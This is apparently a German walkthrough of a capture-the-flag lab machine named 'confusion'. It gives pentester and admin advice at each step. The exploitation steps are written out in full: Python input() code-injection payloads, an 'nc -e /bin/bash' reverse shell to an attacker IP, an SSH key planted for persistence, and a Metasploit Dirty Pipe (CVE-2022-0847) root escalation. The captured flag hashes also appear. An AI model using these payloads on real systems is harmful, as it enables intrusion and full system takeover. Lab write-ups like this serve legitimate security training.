192.168.2.109 08:00:27:be:2c:84 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu identifizieren. Es wird ein Host mit der IP 192.168.2.109
und einer MAC-Adresse von Oracle VirtualBox gefunden.
Bewertung: Das Zielsystem wurde erfolgreich lokalisiert.
Empfehlung (Pentester): Detaillierten Portscan auf die Ziel-IP durchführen.
Empfehlung (Admin): Standard-Netzwerkaktivität.
- Nikto v2.1.6
---------------------------------------------------------------------------
+ No web server found on 192.168.2.109:80
---------------------------------------------------------------------------
+ 0 host(s) tested
Analyse: Ein erster Scan mit Nikto auf Port 80 ergibt, dass dort kein Standard-Webserver läuft. Dies ist eine wichtige erste Erkenntnis, da Port 80 oft ein primäres Ziel ist.
Bewertung: Schließt einen Standard-Webserver auf Port 80 aus. Weitere Ports müssen untersucht werden.
Empfehlung (Pentester): Einen vollständigen Portscan mit Nmap durchführen, um alle offenen Ports zu finden.
Empfehlung (Admin): Gut, wenn kein Webserver benötigt wird. Sicherstellen, dass keine unnötigen Dienste laufen.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-01 23:06 CET Nmap scan report for confusion (192.168.2.109) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: ... 32145/tcp open unknown | fingerprint-strings: | GenericLines: | Welcome To The My Magic World | How many times you want to ping?: Traceback (most recent call last): | File "/opt/ping.py", line 7, in| no_of_packets = int(input("How many times you want to ping?: ")) | File " ", line 0 | SyntaxError: unexpected EOF while parsing | GetRequest: | Welcome To The My Magic World | How many times you want to ping?: Traceback (most recent call last): | File "/opt/ping.py", line 7, in | no_of_packets = int(input("How many times you want to ping?: ")) | File " ", line 1, in | NameError: name 'GET' is not defined | HTTPOptions, RTSPRequest: | Welcome To The My Magic World | How many times you want to ping?: Traceback (most recent call last): | File "/opt/ping.py", line 7, in | no_of_packets = int(input("How many times you want to ping?: ")) | File " ", line 1, in | NameError: name 'OPTIONS' is not defined | NULL: | Welcome To The My Magic World |_ How many times you want to ping?: 1 service unrecognized despite returning data... [...] MAC Address: 08:00:27:BE:2C:84 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms confusion (192.168.2.109)
Analyse: Ein umfassender Nmap-Scan (-sS, -sC, -T5, -A, -p-) identifiziert zwei offene Ports:
22
: OpenSSH 8.4p1 (Debian). Standard-SSH-Dienst.32145
: Ein unbekannter Dienst. Nmap's Service-Fingerprinting (`fingerprint-strings`) liefert wertvolle Hinweise:
Bewertung: Port 22 ist ein Standard-Login-Punkt. Der Dienst auf Port 32145 ist der Schlüssel. Die Tracebacks zeigen, dass er ein Python-Skript ist, das `input()` verwendet, um Benutzereingaben zu lesen. Die Verwendung von `input()` in Python 2/3 (insbesondere in älteren Versionen oder wenn nicht korrekt behandelt) kann gefährlich sein, da es versucht, die Eingabe als Python-Code auszuwerten, was zu Code Injection führen kann.
Empfehlung (Pentester): Mit dem Dienst auf Port 32145 manuell interagieren (z.B. via `telnet` oder `nc`). Versuchen, gültige Python-Befehle einzugeben, um die vermutete Code-Injection-Schwachstelle auszunutzen.
Empfehlung (Admin): Benutzerdefinierte Netzwerkdienste sorgfältig entwickeln und absichern. **Niemals** die `input()`-Funktion (oder `eval()`) direkt auf Netzwerk- oder Benutzereingaben anwenden. Stattdessen sichere Methoden zur Eingabeverarbeitung (z.B. `sys.stdin.readline()` für rohe Strings) und Validierung verwenden. Tracebacks sollten nicht an den Client gesendet werden.
Analyse (Web-Zugriff Versuch): Ein Versuch, die Adresse `http://192.168.2.109:32145` im Browser zu öffnen, führt ebenfalls zu einem `NameError`, da der Browser eine HTTP GET-Anfrage sendet, die vom `input()` des Python-Skripts nicht verarbeitet werden kann.
Welcome To The My Magic World How many times you want to ping?: Traceback (most recent call last): File "/opt/ping.py", line 7, inno_of_packets = int(input("How many times you want to ping?: ")) File " ", line 1, in NameError: name 'GET' is not defined
Bewertung: Bestätigt das Verhalten des Dienstes und die Interpretation von HTTP-Anfragen als ungültigen Python-Code durch `input()`.
Empfehlung (Pentester): Direkte Interaktion via `telnet` oder `nc` ist notwendig.
Empfehlung (Admin): Siehe vorherige Empfehlung zur Absicherung des Dienstes.
Analyse: Basierend auf den Nmap-Ergebnissen wird eine Telnet-Verbindung zum Dienst auf Port 32145 aufgebaut, um direkt mit dem Python-Skript zu interagieren.
Trying 192.168.2.109...
Connected to 192.168.2.109.
Escape character is '^]'.
Welcome To The My Magic World
How many times you want to ping?: 2
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.028 ms
Connection closed by foreign host.
Analyse: Eine erste Interaktion mit einer gültigen Zahl (`2`) als Eingabe führt dazu, dass das Skript `ping localhost` zweimal ausführt und die Verbindung dann schließt. Dies bestätigt die Grundfunktionalität des Skripts.
Bewertung: Zeigt das erwartete Verhalten bei gültiger numerischer Eingabe.
Empfehlung (Pentester): Nun versuchen, Python-Code einzuschleusen.
Empfehlung (Admin): Eingaben validieren (nur Zahlen erlauben).
Proof of Concept: Python Code Injection via input()
Der folgende Schritt demonstriert die Ausnutzung der Schwachstelle, indem gültiger Python-Code an die `input()`-Funktion übergeben wird.
Trying 192.168.2.109... Connected to 192.168.2.109. Escape character is '^]'. Welcome To The My Magic World How many times you want to ping?: eval('__import__("os").system("id")') uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot) PING localhost(localhost (::1)) 56 data bytes Connection closed by foreign host.
Analyse: Diesmal wird als Eingabe der String `eval('__import__("os").system("id")')` gesendet. Da `input()` in diesem Kontext versucht, die Eingabe als Python-Code auszuwerten, wird die `eval()`-Funktion ausgeführt. Diese wiederum importiert das `os`-Modul und führt die Methode `system("id")` aus. Die Ausgabe `uid=1002(iamroot)...` erscheint *vor* dem erwarteten Ping, was die erfolgreiche Ausführung des `id`-Befehls als Benutzer `iamroot` bestätigt.
Bewertung: **Kritische Schwachstelle (Remote Code Execution)!** Die Verwendung von `input()` ermöglicht es, beliebigen Python-Code und damit beliebige Betriebssystembefehle im Kontext des Benutzers `iamroot` auszuführen.
Empfehlung (Pentester): Diese RCE-Schwachstelle nutzen, um weitere Informationen zu sammeln und eine Reverse Shell zu erhalten.
Empfehlung (Admin): Den Dienst sofort deaktivieren und korrigieren. **Niemals** `input()` oder `eval()` für Netzwerk- oder Benutzereingaben verwenden.
[...] How many times you want to ping?: eval('__import__("os").system("ls /home")') iamroot sammy still PING localhost(localhost (::1)) 56 data bytes Connection closed by foreign host.
[...] How many times you want to ping?: eval('__import__("os").system("ls /home/sammy")') user.txt PING localhost(localhost (::1)) 56 data bytes Connection closed by foreign host.
[...] How many times you want to ping?: eval('__import__("os").system("cat /home/sammy/user.txt")') cat: /home/sammy/user.txt: Permission denied [...]
Analyse: Über die RCE-Schwachstelle werden weitere Befehle ausgeführt: `ls /home` zeigt die Benutzer `iamroot`, `sammy` und `still`. `ls /home/sammy` zeigt eine `user.txt`. Der Versuch, `user.txt` als `iamroot` zu lesen, scheitert jedoch mit "Permission denied".
Bewertung: Obwohl wir Code als `iamroot` ausführen, hat dieser Benutzer anscheinend keine Leseberechtigung für die `user.txt` im Home-Verzeichnis von `sammy`. Dies deutet auf eine ungewöhnliche Rechtekonstellation oder darauf hin, dass `iamroot` kein privilegierter Benutzer im Sinne von Root ist.
Empfehlung (Pentester): Eine interaktive Shell erhalten, um die Berechtigungen und die Umgebung von `iamroot` genauer zu untersuchen. Die `sudo -l`-Ausgabe prüfen.
Empfehlung (Admin): Berechtigungen für Home-Verzeichnisse korrekt setzen.
[...]
How many times you want to ping?: eval('__import__("os").system("nc -e /bin/bash 192.168.2.121 8005")')
[...]
listening on [any] 8005 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.109] 54052
Analyse: Über die RCE wird ein `nc`-Befehl ausgeführt, um eine Reverse Shell zur Angreifer-IP (`192.168.2.121`) auf Port `8005` zu starten. Der Netcat-Listener auf der Angreiferseite empfängt die Verbindung.
Bewertung: Erfolg! Eine interaktive Shell als Benutzer `iamroot` wurde erlangt.
Empfehlung (Pentester): Shell stabilisieren und mit der Enumeration fortfahren.
Empfehlung (Admin): RCE-Schwachstelle beheben.
listening on [any] 8005 ... connect to [192.168.2.121] from (UNKNOWN) [192.168.2.109] 54052 python3 -c 'import pty;pty.spawn("/bin/bash")' iamroot@confusion:/$ export TERM=xterm export TERM=xterm iamroot@confusion:/$ ^Z zsh: suspended nc -lvnp 8005
[1] + continued nc -lvnp 8005 reset iamroot@confusion:/$
Analyse: Die Standardprozedur zur Stabilisierung der Netcat-Reverse-Shell wird angewendet (Python PTY, TERM setzen, stty raw -echo, fg, reset).
Bewertung: Eine stabile, interaktive Shell als `iamroot` steht zur Verfügung.
Empfehlung (Pentester): Nun `sudo -l` und weitere Enumeration durchführen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Matching Defaults entries for iamroot on confusion:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User iamroot may run the following commands on confusion:
(!root) NOPASSWD: /bin/bash
Analyse: Die Ausgabe von `sudo -l` für den Benutzer `iamroot` zeigt eine interessante Regel: `(!root) NOPASSWD: /bin/bash`. Das bedeutet, `iamroot` kann `/bin/bash` als jeder beliebige Benutzer *außer* `root` ohne Passwort ausführen.
Bewertung: Dies ist eine ungewöhnliche sudo-Regel. Sie verhindert die direkte Eskalation zu `root` mittels `sudo -u root /bin/bash` oder `sudo -u#0 /bin/bash`. Sie erlaubt jedoch das Wechseln zu *jedem anderen* Benutzer. Dies könnte für horizontale Bewegung nützlich sein, aber nicht direkt für die Root-Eskalation über diesen Weg.
Empfehlung (Pentester): Diese Regel ist keine direkte Hilfe für Root. Nach anderen Vektoren suchen (Kernel-Exploits, SUID-Binaries, Cronjobs, Fehlkonfigurationen).
Empfehlung (Admin): Solche `sudo`-Regeln sind verwirrend und potenziell gefährlich. `sudo` sollte nur für spezifische, notwendige Befehle und Zielbenutzer gewährt werden. Die `!root`-Einschränkung ist ungewöhnlich und sollte hinterfragt werden.
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process udp UNCONN 0 0 0.0.0.0:bootpc 0.0.0.0:* ino:11704 sk:1 cgroup:/system.slice/ifup@enp0s3.service <-> tcp LISTEN 0 5 0.0.0.0:32145 0.0.0.0:* users:(("socat",pid=393,fd=5)) uid:1002 ino:11717 sk:2 cgroup:/system.slice/special_ping.service <-> tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* ino:11747 sk:3 cgroup:/system.slice/ssh.service <-> tcp LISTEN 0 128 [::]:ssh [::]:* ino:11758 sk:4 cgroup:/system.slice/ssh.service v6only:1 <->
Analyse: `ss -tulpe` zeigt die laufenden Dienste. Interessant ist, dass der Dienst auf Port 32145 durch `socat` (PID 393) ausgeführt wird und zur CGroup `special_ping.service` gehört. Er läuft als UID 1002 (`iamroot`).
Bewertung: Bestätigt, dass der anfällige Dienst als `iamroot` läuft und durch `socat` bereitgestellt wird, was wahrscheinlich das Python-Skript `/opt/ping.py` startet.
Empfehlung (Pentester): Die Konfiguration des `special_ping.service` (Systemd-Unit-Datei) untersuchen, um mehr über den Startmechanismus zu erfahren.
Empfehlung (Admin): Sicherstellen, dass Dienste wie `socat` nicht unnötig verwendet werden, um Skripte über das Netzwerk verfügbar zu machen.
-rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 35040 Jul 28 2021 /usr/bin/umount -rwsr-xr-x 1 root root 71912 Jul 28 2021 /usr/bin/su -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn -rwsr-xr-x 1 root root 55528 Jul 28 2021 /usr/bin/mount -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo
Analyse: Erneute Suche nach SUID-Binaries. Die Liste zeigt Standard-Binaries für Debian 11. Es gibt keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren SUID-Dateien (abgesehen von `sudo`, das aber eingeschränkt ist).
Bewertung: SUID-Exploits scheinen kein einfacher Weg zu sein. Der Fokus sollte auf Kernel-Exploits oder anderen Fehlkonfigurationen liegen.
Empfehlung (Pentester): Kernel-Version prüfen und nach bekannten Exploits suchen.
Empfehlung (Admin): System aktuell halten.
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Analyse: Bestätigt das Betriebssystem als Debian 11 (Bullseye).
Bewertung: Wichtig für die Exploit-Suche.
Empfehlung (Pentester): Kernel-Version mit `uname -a` ermitteln.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Have You Checked Other Port?
Analyse: Eine Notizdatei in `/etc/apt` enthält einen Hinweis. Da wir bereits über Port 32145 eingestiegen sind, ist die Bedeutung unklar. Evtl. ein Überbleibsel oder eine falsche Fährte.
Bewertung: Vage Notiz, wahrscheinlich nicht direkt nützlich für die Eskalation an dieser Stelle.
Empfehlung (Pentester): Notiz zur Kenntnis nehmen, aber nicht zu viel Zeit darauf verwenden, wenn andere Wege (Kernel-Exploit) vielversprechender sind.
Empfehlung (Admin): Unnötige Notizdateien entfernen.
Analyse: Der SSH-Schlüssel des Angreifers wird in die `authorized_keys`-Datei von `iamroot` geschrieben, um einen stabilen SSH-Zugang zu ermöglichen.
Bewertung: Sinnvoller Schritt für stabilen Zugriff.
Empfehlung (Pentester): SSH-Verbindung testen.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
The authenticity of host 'mess.hmv (192.168.2.109)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes [...] Have you ever thought? If Cindrella's Shoe Fit Perfectly Then Why Did It Fall Off? still:confused? Then go for Port 32145 :) Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben) Linux confusion 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 [...] Last login: Mon Oct 24 17:19:26 2022 from 192.168.2.153 iamroot@confusion:~$
Analyse: Der SSH-Login als `iamroot` mittels Schlüssel gelingt. Eine interessante MOTD/Banner wird angezeigt, die auf die Maschine "Confusion" und Port 32145 hinweist. Die Kernel-Version wird als `5.10.0-9-amd64` (Debian 5.10.70-1) identifiziert.
Bewertung: Stabiler SSH-Zugang als `iamroot` ist etabliert. Die Kernel-Version 5.10.70 ist bekannt dafür, anfällig für die Dirty Pipe-Schwachstelle (CVE-2022-0847) zu sein.
Empfehlung (Pentester): Die Dirty Pipe-Schwachstelle zur Eskalation zu Root ausnutzen.
Empfehlung (Admin): Kernel auf eine gepatchte Version aktualisieren.
Proof of Concept: Privilege Escalation via Dirty Pipe (CVE-2022-0847)
Die folgenden Schritte nutzen die Metasploit-Framework, um die Dirty Pipe-Schwachstelle auszunutzen.
[...] msf6 >
[*] Using configured payload generic/shell_reverse_tcp
[...]
lport => 4444
lhost => 192.168.2.121
[*] Started reverse TCP handler on 192.168.2.121:4444
[*] Started reverse TCP handler on 192.168.2.121:4444 [*] Command shell session 1 opened (192.168.2.121:4444 -> 192.168.2.109:36134) at 2022-11-01 23:31:30 +0100 id uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot) ^Z Background session 1? [y/N] y
[...]
HANDLER => true
lport => 4433
session => 1
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.121:4433
[*] Sending stage (1017704 bytes) to 192.168.2.109
[*] Meterpreter session 2 opened (192.168.2.121:4433 -> 192.168.2.109:60278) at 2022-11-01 23:33:22 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
[...]
[-] The following options failed to validate: Value 'auto' is not valid for option 'COMPILE'.
SESSION => 2
WRITABLE_DIR => /tmp
lport => 4444
lhost => 192.168.2.121
[*] Started reverse TCP handler on 192.168.2.121:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Linux kernel version found: 5.10.0 [*] Executing exploit '/tmp/.bnrjufucd /bin/passwd' [*] Sending stage (3045348 bytes) to 192.168.2.109 [+] Deleted /tmp/.bnrjufucd [*] Meterpreter session 3 opened (192.168.2.121:4444 -> 192.168.2.109:36138) at 2022-11-01 23:35:10 +0100
Process 904 created. Channel 1 created. id uid=0(root) gid=0(root) groups=0(root),1002(iamroot)
Analyse: Eine Reverse Shell als `iamroot` wird an Metasploit gesendet und zu einer Meterpreter-Session (Session 2) aufgewertet. Anschließend wird der Dirty Pipe Exploit (`exploit/linux/local/cve_2022_0847_dirtypipe`) ausgewählt und auf Session 2 angewendet. Der Exploit erkennt die anfällige Kernel-Version (5.10.0), wird ausgeführt und öffnet erfolgreich eine neue Meterpreter-Session (Session 3). Ein Wechsel zur Shell (`shell`) und die Ausführung von `id` in dieser neuen Session bestätigt den Root-Zugriff (`uid=0(root)`).
Bewertung: Erfolg! Durch Ausnutzung der Dirty Pipe Kernel-Schwachstelle wurden Root-Rechte erlangt.
Empfehlung (Pentester): Root-Flag suchen.
Empfehlung (Admin): System dringend patchen, um CVE-2022-0847 zu beheben.
806451a0d37e94c20ea85f4e8e9ad3b8
root.txt
cb9e279429419f5326e7755ba43c7055
Analyse: In der Root-Shell werden die User- und Root-Flags aus den entsprechenden Verzeichnissen (`/home/sammy/user.txt` und `/root/root.txt`) erfolgreich ausgelesen.
Bewertung: Beide Flags wurden gefunden. Der Penetrationstest ist abgeschlossen.
Empfehlung (Pentester): Bericht fertigstellen.
Empfehlung (Admin): Keine Maßnahmen bzgl. der Flags.